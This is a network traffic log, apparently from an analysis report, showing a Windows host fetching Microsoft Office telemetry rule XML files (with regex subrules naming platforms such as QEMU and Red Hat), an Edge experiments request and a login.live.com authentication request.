Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:33 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:33 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:33 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4fe48f14-f01e-005d-23b7-2a13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221133Z-159b85dff8fgxq4qhC1DFWxa0n00000000w000000000gad1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:33 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:33 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:33 UTC	498	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:33 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: a0c84568-901e-0016-0da6-2aefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221133Z-17c5cb586f6lxnvgvs6hx6p0t800000000kg00000000h05c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-30 22:11:33 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49805	94.245.104.56	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:33 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:33 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 30 Oct 2024 22:11:33 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=e5e4197507aadfd116f59447fade3d01fe97a8db2e83bfcd54af3bd128319bb7;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=e5e4197507aadfd116f59447fade3d01fe97a8db2e83bfcd54af3bd128319bb7;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:33 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:33 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:33 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 0944ca5a-501e-007b-292d-275ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221133Z-17c5cb586f6fqqst87nqkbsx1c000000071000000000m4pu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:33 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:33 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:33 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:33 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221133Z-16849878b78p49s6zkwt11bbkn0000000850000000010uf5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:33 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:33 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: b357c660-c01e-008e-6e16-297381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221133Z-15b8d89586f989rkwt13xern54000000040g0000000036rn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:33 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:34 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:34 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 927ac0b1-901e-0083-7fcc-2abb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221134Z-159b85dff8fdh9tvhC1DFW50vs00000000f0000000009qda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:34 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:34 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: ff288f8c-c01e-007a-5a0e-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221134Z-17c5cb586f6wmhkn5q6fu8c5ss000000080g00000000g2m8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:34 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:34 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:34 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 3c311aa7-c01e-008e-22a5-2a7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221134Z-159b85dff8fdthgkhC1DFWk0rw00000000m0000000005qdr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:34 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:34 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:34 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:34 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221134Z-16849878b78xblwksrnkakc08w00000007tg00000000uvnv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:34 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:34 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:34 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:34 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221134Z-16849878b78bcpfn2qf7sm6hsn0000000a6000000000re7a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:34 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49820	20.190.159.4	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-30 22:11:35 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-30 22:11:35 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 30 Oct 2024 22:10:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 5a1a5b91-4a86-41ae-b32d-64ae744614da PPServer: PPV: 30 H: SN1PEPF0002FA0D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 30 Oct 2024 22:11:35 GMT Connection: close Content-Length: 1276
